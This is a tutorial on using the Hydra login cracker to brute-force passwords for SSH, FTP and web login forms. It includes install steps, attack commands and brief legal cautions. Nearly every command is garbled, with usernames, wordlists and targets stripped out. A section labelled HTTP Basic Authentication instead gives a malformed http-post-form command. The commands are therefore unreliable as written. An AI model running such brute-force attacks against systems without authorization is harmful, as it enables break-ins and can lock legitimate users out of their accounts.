TL;DR
This guide shows you how to use Hydra to try and guess passwords for various services. It’s a powerful tool, but remember that using it against systems you don’t have permission to test is illegal.
What is Hydra?
Hydra is a parallelized login cracker. It supports many different protocols (like SSH, FTP, HTTP, etc.) and can try various username/password combinations quickly. It’s often used in penetration testing but can also be misused.
Prerequisites
- Linux: Hydra is best suited for Linux environments (Kali Linux is a popular choice).
- Hydra Installed: You’ll need to have Hydra installed. Use your distribution’s package manager. For example, on Debian/Ubuntu:
sudo apt update sudo apt install hydra - Target Information: You need the IP address or hostname of the target system and the service you want to attack (e.g., SSH port 22).
- Wordlist: A text file containing a list of potential usernames and passwords. Common wordlists are available online, but creating your own tailored lists is more effective.
Step-by-step Guide
- Basic SSH Bruteforce: This example attempts to brute-force an SSH login.
hydra -l-P ssh - Replace
<username>with the target username (or use a wordlist for usernames too). - Replace
<password_list.txt>with the path to your password list file. - Replace
<target_ip>with the IP address or hostname of the target system.
- Replace
- Specifying a Port: If SSH is running on a non-standard port (e.g., 2222):
hydra -l-P ssh -p 2222 - Using Multiple Threads: Increase the number of threads for faster cracking (be careful not to overload the target system).
hydra -l-P ssh -t 16 - The
-toption sets the number of threads (e.g., 16).
- The
- Bruteforcing FTP: Example for brute-forcing an FTP login.
hydra -l-P ftp - Bruteforcing HTTP Basic Authentication:
hydra -l-P http-post-form "/login.php:username=^USER^&password=^PASS^":method=POST - Replace
/login.phpwith the actual login form URL. - Adjust the POST parameters if needed (check the website’s source code).
- Replace
- Using a Username Wordlist: If you have separate wordlists for usernames and passwords:
hydra -L-P ssh - Replace
<username_list.txt>with the path to your username list file.
- Replace
- Saving Results: Redirect output to a file for later analysis.
hydra -l-P ssh > results.txt - Help and Options: Use the
-hoption to see all available options.hydra -h
Important Considerations
- Legality: Always get permission before testing any system. Unauthorized access is illegal.
- Rate Limiting: Many systems have rate limiting in place to prevent brute-force attacks. Be mindful of this and adjust your thread count accordingly.
- Account Lockout: Repeated failed login attempts can lock accounts.
- Wordlist Quality: The effectiveness of Hydra depends heavily on the quality of your wordlists. Use common passwords, variations, and any known information about the target system.
- cyber security measures like two-factor authentication will prevent this attack from working.

